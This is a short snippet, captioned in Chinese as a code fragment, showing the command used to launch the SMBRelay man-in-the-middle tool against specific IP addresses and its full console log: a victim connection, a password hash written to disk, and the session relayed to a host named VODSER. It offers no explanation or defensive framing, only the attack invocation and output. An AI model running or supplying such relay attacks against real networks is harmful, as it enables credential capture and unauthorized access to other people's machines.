以下是代码片段： D:\>smbrelay.exe /IL 2 /IR 2 /L+ 218.197.248.154 /R- 218.197.248.154 SMBRelay v0.981 - TCP (NetBT) level SMB man-in-the-middle relay attack Copyright 2001: Sir Dystic, Cult of the Dead Cow Send complaints, ideas and donations to sirdystic@cultdeadcow.com Using local adapter index 2: PCI Bus Master Adapter Local IP address added to interface 2 Bound to port 139 on address 218.197.248.154 Connection from 202.114.28.249:1915 Request type: Session Request 72 bytes Source name: VODSER <00> Target name: *SMBSERVER <20> Setting target name to source name and source name to 'CDC4EVER'... Response: Positive Session Response 4 bytes
Password hash written to disk Connected? Bound to port 139 on address 218.197.248.154 relaying for host VODSER 202.114.28 .249 --------------------------------------------------------------------------------
Connection rejected: 202.114.28.249 already connected *** Relay connection for target VODSER received from 218.197.248.212:1615 *** Sent positive session response for relay target VODSER *** Sent dialect selection response (5) for target VODSER *** Sent SMB Session setup response for relay to VODSER Termination requested... Deleted incoming IP address *** Relay disconnected from target VODSER *** Target VODSER Disconnected Exiting main -------------------------------------------------------------------------
